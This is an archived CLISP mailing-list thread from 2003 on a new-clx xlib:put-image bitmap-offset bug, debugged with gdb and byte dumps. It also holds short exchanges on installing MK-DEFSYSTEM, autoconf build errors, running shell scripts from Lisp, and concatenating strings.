  "Display image.  Called on exposure events."
  ;; (format t "-- Exposure --~%")
  (xlib:put-image win gcon image :x 0 :y 0
		  :width (xlib:image-width image)
		  :height (xlib:image-height image)
		  :bitmap-p t)
  (xlib:display-force-output *display*))

(defun handle-events (refresh-image)
  "Process events, passing function to refresh image on window"
  (xlib:event-case (*display*)

		   (:button-press (code window)
				  (case code
				    (3 t)))

		   (:selection-notify (window selection target property)
				      nil)

		   (:key-press (code window)
			       (case (xlib:keycode->keysym *display* code 0)
				 ;; 'q' keycode causes exit
				 (#o161 t)))

		   (:exposure (count window)
			      (if (= 0 count)
				  (funcall refresh-image window))
			      nil) ))

(defun dump-data (image)
  "Dump pixmap data as grid"
  (let ((data (xlib::image-x-data image))
	(width (xlib:image-width image))
	(height (xlib:image-height image))
	(bytes-per-line (xlib::image-x-bytes-per-line image)))
    (format t "Bitmap :width ~A :height ~A :bytes-per-line ~A~%"
	    width height bytes-per-line)
    (dotimes (yc height)
      (format t "|")
      (let ((rowpos (* bytes-per-line yc)))
	(dotimes (xc width)
	  (multiple-value-bind (byte-offset bit-offset)
	      (floor xc 8)
	    (format t "~A" (if (/= (logand (aref data (+ rowpos byte-offset))
					   (expt 2 bit-offset))
				   0)
				"*"
				" ")))))
      (format t "|~%"))))

    
(defun main ()
  "Say using via-voice whatever pasted in its window."
  ;; Read in background image
  (let ((bmfile (or (car *args*) "gremblin.xbm")))
    (setf *gremblin* (or (xlib:read-bitmap-file bmfile)
			 (error "Cannot read bitmap file: ~A~%" bmfile))))
  (format t "~A~%" *gremblin*)
;  (format t "data (~S):~%~s~%" (type-of (xlib::image-x-data *gremblin*))
;	  (xlib::image-x-data *gremblin*))
;  (dump-data *gremblin*)
  (open-x-display)

;; Set up background pixmap
  (let* ((width       (xlib:image-width        *gremblin*))
	 (height      (xlib:image-height       *gremblin*))
	 (black-pixel (xlib:screen-black-pixel *screen*))

	 (win (xlib:create-window :parent *root* :x 10 :y 10
				  :width width :height height
				  :background black-pixel
				  :event-mask '(:button-press
						:key-press
						:exposure)))

	 ;; Try for an appropriate color
	 (color (xlib:alloc-color (xlib:window-colormap win)
				  "Light Green"))
	 (gcon (xlib:create-gcontext :drawable win
				     :foreground color)))

    (setf (xlib:wm-name win) "Gremblin")

    (xlib:map-window win)
    (xlib:display-finish-output *display*)

    ;; Process event loop
    (handle-events (lambda (win) (show-image win gcon *gremblin*)))

    ;; Done
    (xlib:unmap-window win)
    (xlib:destroy-window win))

  (close-x-display))

#-cmu
(main)
======== END OF badcase.lisp ======



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> * PhiHo Hoang <cuvub.ubnat@ebtref.pbz> [2003-09-28 23:47:33 -0400]:
>
>     Clisp-2.31 was installed to F:\lisp\clisp-2.31.
> 
>     I am trying to install Lisa 2.04 ( http://lisa.sf.net )
>     and got an error: there is no package with name "MK"
> 
>     Where can I get the MK package.

http://clocc.sf.net

MK-DEFSYSTEM is in CLOCC/src/defsystem-3.x/defsystem.lisp
compile it and load.

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> * Roland Averkamp <ebynaq.nirexnzc@tzk.qr> [2003-09-28 19:09:35 +0200]:
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> I think there is a bug in the function update_library in defined in
> file foreign.d:

thanks, fixed in the CVS.

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> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-29 09:23:00 -0400]:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> >> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-25 11:13:22 -0400]:
> >> Playing with the content of the bitmap file, it seems the data being
> >> displayed starts 4 bytes offset into the ximage.
> 
> The data is correct, just 4 bytes off from where TheSvector seems to
> think it is.  I don't know enough about CLISP internal structures to
> know what is happening.

TheSbvector()->data points to the start of the data in the
simple-byte-vector, see lispbibl.d:

typedef struct {
  LRECORD_HEADER /* self-pointer for GC, length in bits */
  uint8  data[unspecified]; /* Bits, divided into bytes */
} sbvector_;
typedef sbvector_ *  Sbvector;

data[-4] will grab the extra 32 bits from the header, on your platform
(IIUC, play with CPP or gdb to check!), it will be the "uintL tfl"
field (see VAROBJECT_HEADER).

I think that the problem is not in PUT-IMAGE, but in the routines that
load the image into the lisp object, specifically, in whatever routine
creates the byte vector.

could you please check what goes wrong there?

thanks!

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Hi,

> You can try to locate one version, or load Lisa's files by hand.
> 

	How can I load Lisa files by hand.

	Thanks for your help.

	PhiHo.


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> Subject: [clisp-list] Installing Lisa for Clisp on WindowsXP: 
> MK package
> 
> 
> >    I am trying to install Lisa 2.04 ( http://lisa.sf.net )
> >    and got an error: there is no package with name "MK"
> 
> Probably Mark Kantrowitz' MK-DEFSYSTEM package.
> It provides the defsystem macro, and load-system etc. functions.
> 
> You can try to locate one version, or load Lisa's files by hand.
> 
> I thought that these days people rather preferred the ASDF 
> defsystem utility.
> 
> Regards,
> 	Jorg Hohle.
> 



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Sam Steingold wrote:

> >     Where can I get the MK package.
>
> http://clocc.sf.net
>
> MK-DEFSYSTEM is in CLOCC/src/defsystem-3.x/defsystem.lisp
> compile it and load.
>

    Thanks, your help is very much appreciated.

    Cheers,

    PhiHo.





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I followed james anderson's info in his email on 8/26/03 on how to 
build CLISP but am still running into troubles.  I cannot use the 
official 2.31 build but rather only daily snapshots for one.  And then 
when I think I almost have it, I get this error:

cd src ; aclocal --acdir=m4 --output=autoconf/aclocal.m4
cd src; autoconf 
--include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf
autoconf: invalid option 
--include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf
Try `autoconf --help' for more information.
make[1]: *** [src/configure] Error 1
make: *** [../src/VERSION] Error 2
[~/Ports/clisp-2003-09-30/withDec2002gcc]$

I have tried what I can to figure this out but I just don't know 
enough.  I am trying to get CLISP running for a class on programming 
languages I am taking.  Any help on getting this finally installed 
would be greatly appreciated.  Thanks

ryan



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> * Ryan Mullen <oyhtry@vafvtugoo.pbz> [2003-09-30 17:24:12 -0500]:
>
> I followed james anderson's info in his email on 8/26/03 on how to build
> CLISP but am still running into troubles.  I cannot use the official
> 2.31 build but rather only daily snapshots for one.  And then when I
> think I almost have it, I get this error:
> 
> cd src ; aclocal --acdir=m4 --output=autoconf/aclocal.m4
> cd src; autoconf
> --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf
> autoconf: invalid option
> --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf
> Try `autoconf --help' for more information.

you probably have an old autoconf version.

> make[1]: *** [src/configure] Error 1
> make: *** [../src/VERSION] Error 2
> [~/Ports/clisp-2003-09-30/withDec2002gcc]$

$ touch src/configure



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Hello
 I installed clisp-2.31 on a Win 2000 OS. 
 I want to access a MSSQL DB Server and I would like
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Sam Steingold <sds@gnu.org> writes:

>> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-29 09:23:00 -0400]:
>> The data is correct, just 4 bytes off from where TheSvector seems to
>> think it is.  I don't know enough about CLISP internal structures to
>> know what is happening.
>
> TheSbvector()->data points to the start of the data in the
> simple-byte-vector, see lispbibl.d:
>
> typedef struct {
>   LRECORD_HEADER /* self-pointer for GC, length in bits */
>   uint8  data[unspecified]; /* Bits, divided into bytes */
> } sbvector_;
> typedef sbvector_ *  Sbvector;
>
> data[-4] will grab the extra 32 bits from the header, on your platform
> (IIUC, play with CPP or gdb to check!), it will be the "uintL tfl"
> field (see VAROBJECT_HEADER).
>
> I think that the problem is not in PUT-IMAGE, but in the routines that
> load the image into the lisp object, specifically, in whatever routine
> creates the byte vector.
>
> could you please check what goes wrong there?

I don't quite understand the workings of CLISP's internal structure,
but it seemed unlikely that a basic internal accessor like TheSbvector
would be wrong without a lot more than PUT-IMAGE going wrong, and the
code path through the PUT-IMAGE C function looks correct (to me).  So
I did look closer at the xlib:read-bitmap-file function that reads the
bitmap file.

The xlib:read-bitmap-file function, being entirely in lisp, is
almost identical to the one as the standard CLX distribution.  The
code, is straight forward, and does seem to read my bitmaps into the
lisp IMAGE-X structure correctly, although CLX's data structures are a
bit different than the C XLIB way of doing things.  If you look at my
test program (in lisp), my DUMP-DATA function displays the bitmap in
ascii stars correctly, from the raw data in the xlib::image-x
structure.  So from the lisp side, the xlib::image-x-data vector is
correct.

If you look at my patches clx.f, I use the C function
dump_image(XImage) to dump the same raw data, filled into a local
XImage structure, as an picture in ascii stars on stdout.  When I
offset -4 bytes from the TheSbvector(value1)->data pointer, I get the
identical picture as the one displayed in the test program.

Therefore, everything seems to point back to TheSbvector(value1)->data
interface, or something else in the PUT-IMAGE function.

Just one other comment.  It seems that it might be simpler to make
PUT-IMAGE a lisp function which does any required repacking of the
image data (which isn't required for image-x structures) into a single
more C like XImage structure, and send the result to a C interface
function which just calls XCreateImage() and then XPutImage().  This
may sometimes be a bit slower, but where speed is critical the user
would be using Pixmaps and not XImages, and the lisp code would be a
lot easier to maintain.

Does this make sense?  I am starting such a rework myself, and will
probably soon find out.  However, this still doesn't resolve what
is going wrong in getting at the data pointer.
-- 
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Subject: [clisp-list] Re: Problems with new-clx xlib:put-image
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> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-10-01 12:09:41 -0400]:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> >> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-29 09:23:00 -0400]:
> >> The data is correct, just 4 bytes off from where TheSvector seems to
> >> think it is.  I don't know enough about CLISP internal structures to
> >> know what is happening.

this is not what I observe:

$ ./configure --with-module=clx/new-clx --with-debug --build build-g
$ cd build-g
$ gdb
(gdb) full
(gdb) set language c
(gdb) break dump_image
(gdb) run -B . -M full/lispinit.mem -q -norc ../../bugs/badcase.lisp
...
(gdb) up
(gdb) zout mv_space[0]          ;; == value1
#(0 0 0 0 0 47 42 16 0 0 0 0 0 47 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0
  0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 47 42 16 0 32 255 9 0 47
  42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 47 42
  16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0
  0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0
  192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0
  128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0
  248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0
  0 199 1 0 5 0 0 0 0 198 0 0 67 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 48 42 16
  0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0
  48 42 16 0 0 130 0 0 104 38 16 0 0 130 0 0 48 42 16 0 254 131 255 0 1 0 0 0
  255 199 255 1 48 42 16 0 254 131 255 0 48 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142
  227 63 0 0 0 0 0 26 94 0 0 0 0 0 0 48 42 16 0 0 0 0 0 179 46 16)
(gdb) zout STACK[-8]            ;; == STACK_7
#S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB)
   :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T
   :BYTE-LSB-FIRST-P T
   :DATA
   #(0 0 0 0 0 47 42 16 0 0 0 0 0 47 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78
     84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 47 42 16 0 32 255
     9 0 47 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255
     0 47 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255
     255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254
     224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255
     255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254
     255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0
     0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 67 50 16 0 0 198 0 0
     26 94 0 0 0 198 0 0 48 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255
     127 0 0 130 0 0 1 0 0 0 0 130 0 0 48 42 16 0 0 130 0 0 104 38 16 0 0 130 0
     0 48 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 48 42 16 0 254 131 255 0
     48 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 0 0 26 94 0 0 0 0 0 0
     48 42 16 0 0 0 0 0 179 46 16)
   :UNIT 32 :PAD 32 :LEFT-PAD 0)


this is different from what is printed elsewhere:

#S(IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (NAME M-GRELB) :FORMAT Z-PIXMAP
   :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T
   :DATA
   #(0 0 0 0 0 10 42 16 0 0 0 0 0 11 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78
     84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 11 42 16 0 32 255
     9 0 11 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255
     0 11 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255
     255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254
     224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255
     255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254
     255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0
     0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 31 50 16 0 0 198 0 0
     26 94 0 0 0 198 0 0 11 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255
     127 0 0 130 0 0 1 0 0 0 0 130 0 0 12 42 16 0 0 130 0 0 67 38 16 0 0 130 0
     0 12 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 11 42 16 0 254 131 255 0
     12 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 0 0 26 94 0 0 0 0 0 0
     12 42 16 0 0 0 0 0 143 46 16)
   :UNIT 32 :PAD 32 :LEFT-PAD 0)
data ((SIMPLE-ARRAY (UNSIGNED-BYTE 8) (352))):
#(0 0 0 0 0 10 42 16 0 0 0 0 0 11 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0
  0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 11 42 16 0 32 255 9 0 11
  42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 11 42
  16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0
  0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0
  192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0
  128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0
  248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0
  0 199 1 0 5 0 0 0 0 198 0 0 31 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 11 42 16
  0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0
  12 42 16 0 0 130 0 0 67 38 16 0 0 130 0 0 12 42 16 0 254 131 255 0 1 0 0 0
  255 199 255 1 11 42 16 0 254 131 255 0 12 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142
  227 63 0 0 0 0 0 26 94 0 0 0 0 0 0 12 42 16 0 0 0 0 0 143 46 16)


this means that the DATA slot of the IMAGE-X structure gets corrupted
somewhere, probably in C.

note also the different :PLIST lists!

[OTOH, I am an awful bit-pusher, and I am likely to be missing the
point here, please bear with me]

> I don't quite understand the workings of CLISP's internal structure,
> but it seemed unlikely that a basic internal accessor like TheSbvector
> would be wrong without a lot more than PUT-IMAGE going wrong, and the
> code path through the PUT-IMAGE C function looks correct (to me).  So
> I did look closer at the xlib:read-bitmap-file function that reads the
> bitmap file.

Note that the CLISP core gets TheSbvector() et al from lispbibl.d while
modules, including new-clx, get them from clisp.h.
I just looked at both build-g/clisp.g (generated by genclisph.d) and
build-g/lispbibl.h ("make lispbibl.h") and they appear to be in sync.

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Subject: [clisp-list] Re: Problems with new-clx xlib:put-image
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Sam Steingold <sds@gnu.org> writes:

>> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-10-01 12:09:41 -0400]:
>>
>> Sam Steingold <sds@gnu.org> writes:
>> 
>> >> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-09-29 09:23:00 -0400]:
>> >> The data is correct, just 4 bytes off from where TheSvector seems to
>> >> think it is.  I don't know enough about CLISP internal structures to
>> >> know what is happening.
>
> this is not what I observe:

I followed your build and debug procedure,  but got different results:

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This GDB was configured as "i586-suse-linux".
Breakpoint 1 at 0x806867a: file eval.d, line 4834.
Breakpoint 2 at 0x8065f3a: file eval.d, line 3921.
Breakpoint 3 at 0x8062674: file eval.d, line 2805.
Breakpoint 4 at 0x804ff12: file spvw_garcol.d, line 2617.
Breakpoint 5 at 0x80524f2: file spvw.d, line 627.
Breakpoint 6 at 0x804c826: file spvw.d, line 483.
Breakpoint 7 at 0x804c8b6: file spvw.d, line 494.
Hardware watchpoint 8: back_trace
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0806867a in funcall at eval.d:4834
        zout fun
2   breakpoint     keep n   0x08065f3a in apply at eval.d:3921
        zout fun
3   breakpoint     keep n   0x08062674 in eval at eval.d:2805
        zout form
4   breakpoint     keep n   0x0804ff12 in gar_col at spvw_garcol.d:2617
5   breakpoint     keep y   0x080524f2 in fehler_notreached at spvw.d:627
6   breakpoint     keep y   0x0804c826 in SP_ueber at spvw.d:483
7   breakpoint     keep y   0x0804c8b6 in STACK_ueber at spvw.d:494
8   hw watchpoint  keep n              back_trace
        zbacktrace
        continue
.gdbinit:133: Error in sourced command file:
Function "sigsegv_handler_failed" not defined.
(gdb) full
Breakpoint 1 at 0x808f846: file eval.d, line 4834.
Breakpoint 2 at 0x808d106: file eval.d, line 3921.
Breakpoint 3 at 0x8089840: file eval.d, line 2805.
Breakpoint 4 at 0x80770de: file spvw_garcol.d, line 2617.
Breakpoint 5 at 0x80796be: file spvw.d, line 627.
Breakpoint 6 at 0x80739f2: file spvw.d, line 483.
Breakpoint 7 at 0x8073a82: file spvw.d, line 494.
Breakpoint 9 at 0x804d482: file clx.f, line 481.
Breakpoint 10 at 0x804d4fe: file clx.f, line 488.
(gdb) set language c
(gdb) break dump_image
Breakpoint 11 at 0x805e07a: file clx.f, line 4968.
(gdb) run -B . -M full/lispinit.mem -q -norc badcase.lisp 
Starting program: /home/barry/src/gen/clisp/full/lisp.run -B . -M full/lispinit.mem -q -norc badcase.lisp
STACK depth: 16363
#S(IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (NAME M-GRELB) :FORMAT Z-PIXMAP
   :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T
   :DATA
   #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255
     15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0
     0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0
     192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192
     255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255
     255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0
     0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0
     0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0
     0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0
     0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
   :UNIT 32 :PAD 32 :LEFT-PAD 0)

Breakpoint 11, dump_image (image=0xbfffb6d0) at clx.f:4968
4968	  skipSTACK(1);
Warning: the current language does not match this frame.
(gdb) up
#1  0x0805e740 in C_subr_xlib_put_image () at clx.f:5063
5063	        /* Q: Should we raise a x-error-sonstwas condition here? */
(gdb) zout mv_space[0]
#(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255 15 0 0
  0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0 0 128 255
  255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0 192 15 254 224
  7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192 255 255 255 7 0 0 0
  128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255 255 255 1 0 0 0 0 254
  255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0 0 0 0 0 0 255 1 0 0 0 0 0
  0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198
  0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0
  0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0 0 0 0 255 199 255 1 0 0 0 0 254 131
  255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  0 0 0 0 0 0 0)
{one_o = 540662617}
(gdb) zout STACK[-8]
#S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB)
   :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T
   :BYTE-LSB-FIRST-P T
   :DATA
   #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 128 31 0 240 3 0 0 0 64 48 0 24 4 0 0 0 0 32 255 9 0 0 0 0 0 224 255
     15 0 0 0 0 0 248 255 63 0 0 0 0 0 254 255 255 0 0 0 0 0 255 255 255 1 0 0
     0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 192 31 255 241 7 0 0 0
     192 15 254 224 7 0 0 0 192 15 254 224 7 0 0 0 192 31 255 241 7 0 0 0 192
     255 255 255 7 0 0 0 128 255 255 255 3 0 0 0 128 255 255 255 3 0 0 0 0 255
     255 255 1 0 0 0 0 254 255 255 0 0 0 0 0 248 255 63 0 0 0 0 0 224 255 15 0
     0 0 0 0 0 255 1 0 0 0 0 0 0 199 1 0 0 0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0
     0 0 0 0 198 0 0 0 0 0 0 0 198 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0
     0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 0 130 0 0 0 0 0 0 254 131 255 0 0
     0 0 0 255 199 255 1 0 0 0 0 254 131 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
   :UNIT 32 :PAD 32 :LEFT-PAD 0)
{one_o = 540662977}
(gdb) cont
Continuing.

;; Image (bitmap) 40x44x1, bpl= 8, pad= 32:
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Program exited normally.
===================  END DEBUG LOG ====================

All of the debug information seems correct when I do it, although
the bitmap I display is still wrong.

I am unsure of why your gremblin data is so different than mine!

If I offset the data using my kludge:
 
      im.data = (char*) &TheSbvector (value1)->data[-4];

The debug log is identical, except:

*** unpatched.log	2003-10-02 12:30:12.000000000 -0400
--- patched.log	2003-10-02 12:43:20.000000000 -0400
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*** 109,153 ****
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- ;|                                *     **|
  
  Program exited normally.
--- 109,153 ----
  ;|                                        |
  ;|                                        |
  ;|                                        |
  ;|                                        |
+ ;|       ******               ******      |
+ ;|      *     **             **     *     |
+ ;|             *  *********  *            |
+ ;|             ***************            |
+ ;|           *******************          |
+ ;|         ***********************        |
+ ;|        *************************       |
+ ;|       ***************************      |
+ ;|       ***************************      |
+ ;|      *******   *********   *******     |
+ ;|      ******     *******     ******     |
+ ;|      ******     *******     ******     |
+ ;|      *******   *********   *******     |
+ ;|      *****************************     |
+ ;|       ***************************      |
+ ;|       ***************************      |
+ ;|        *************************       |
+ ;|         ***********************        |
+ ;|           *******************          |
+ ;|             ***************            |
+ ;|                *********               |
+ ;|                ***   ***               |
+ ;|                 **   **                |
+ ;|                 **   **                |
+ ;|                 **   **                |
+ ;|                 **   **                |
+ ;|                 *     *                |
+ ;|                 *     *                |
+ ;|                 *     *                |
+ ;|                 *     *                |
+ ;|                 *     *                |
+ ;|         *********     *********        |
+ ;|        ***********   ***********       |
+ ;|         *********     *********        |
  ;|                                        |
  ;|                                        |
  ;|                                        |
  ;|                                        |
  ;|                                        |
  
  Program exited normally.

> this means that the DATA slot of the IMAGE-X structure gets corrupted
> somewhere, probably in C.

The C raw data pointer is wrong by 4 bytes (in my test), but the data
bits themselves seem to be OK.  I don't think the DATA slot of the
IMAGE-X structure is corrupted, since it still appears correct (from
lisp) after the program is run.  The only thing (confirmed) wrong is
the data pointer computed internal to the put-image function.

> note also the different :PLIST lists!

Are we looking at symbol names rather than the symbols themselves in
the debug log?

> [OTOH, I am an awful bit-pusher, and I am likely to be missing the
> point here, please bear with me]

I appreciate the time you have spent on this.  Initially, I thought
that it was something simple, that more experienced eyes would
have seen right away.

I am going to continue to work on the problem, but first I am going to
spend some time better acquainting myself with the CLISP FFI.
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> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-10-02 13:39:31 -0400]:
>
> > this means that the DATA slot of the IMAGE-X structure gets corrupted
> > somewhere, probably in C.
> 
> The C raw data pointer is wrong by 4 bytes (in my test), but the data
> bits themselves seem to be OK.  I don't think the DATA slot of the
> IMAGE-X structure is corrupted, since it still appears correct (from
> lisp) after the program is run.  The only thing (confirmed) wrong is
> the data pointer computed internal to the put-image function.

the fact that you and I get different results means, IMO, that the
whole structure is corrupted somewhere.



> > note also the different :PLIST lists!
> 
> Are we looking at symbol names rather than the symbols themselves in
> the debug log?

both of us see :PLIST (NAME M-GRELB) instead of :PLIST (:NAME :M-GRELB).
this indicates  something terrible.

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How would I call a script (sh or python) from lisp?

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On Thursday, Oct 2, 2003, at 16:09 America/New_York, John Booher wrote:

> How would I call a script (sh or python) from lisp?

The long answer is:
it depends on the particular implementation you are using.  For CLisp 
you should be able to do

	(ext:execute "/bin/sh" "myscript.sh" "arg1" "arg2" ... "argN")

Other implementations have a different command to run a shell command.



The short answer is:
You don't.  You are way better off just using Common Lisp :)

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> * Dan Stanger <qna.fgnatre@vrrr.bet> [2003-10-03 10:42:17 -0400]:
>
> What is the best way to convert a list of strings to a single string?
> For example ("abc" "def" "ghi") should convert to "abcdefghi"

1. if your list is not too large (< CALL-ARGUMENTS-LIMIT) then
        (apply #'concatenate 'string list-of-strings)
   if, moreover, CLISP-only, the faster way is
        (apply #'ext:string-concat list-of-strings)

2. in general, the standard way is the same as adding lists of numbers &c:
        (reduce (lambda (s1 s2) (concatenate 'string s1 s2))
                list-of-strings :initial-value "")
   (CLISP-specific ext:string-concat is again faster:
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   moreover, it does not cons up a lambda).

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Sam Steingold writes:
> > * Dan Stanger <qna.fgnatre@vrrr.bet> [2003-10-03 10:42:17 -0400]:
> >
> > What is the best way to convert a list of strings to a single string?
> > For example ("abc" "def" "ghi") should convert to "abcdefghi"
>=20
> 1. if your list is not too large (< CALL-ARGUMENTS-LIMIT) then
>         (apply #'concatenate 'string list-of-strings)
>    if, moreover, CLISP-only, the faster way is
>         (apply #'ext:string-concat list-of-strings)
>=20
> 2. in general, the standard way is the same as adding lists of numbers =
&c:
>         (reduce (lambda (s1 s2) (concatenate 'string s1 s2))
>                 list-of-strings :initial-value "")
>    (CLISP-specific ext:string-concat is again faster:
>         (reduce #'ext:string-concat list-of-strings)
>    moreover, it does not cons up a lambda).

For some definition of best, it is:

    (defun join (list-of-strings)
      (do ((result  (make-string (reduce (function +) list-of-strings)))
           (los list-of-strings (cdr los))
           (pos 0))
          ((null los) result)
       (replace result (car los) :start1 pos)
       (incf pos (length (car los)))))

Note that (length a-string) is O(1) in Lisp, so the complexity of this
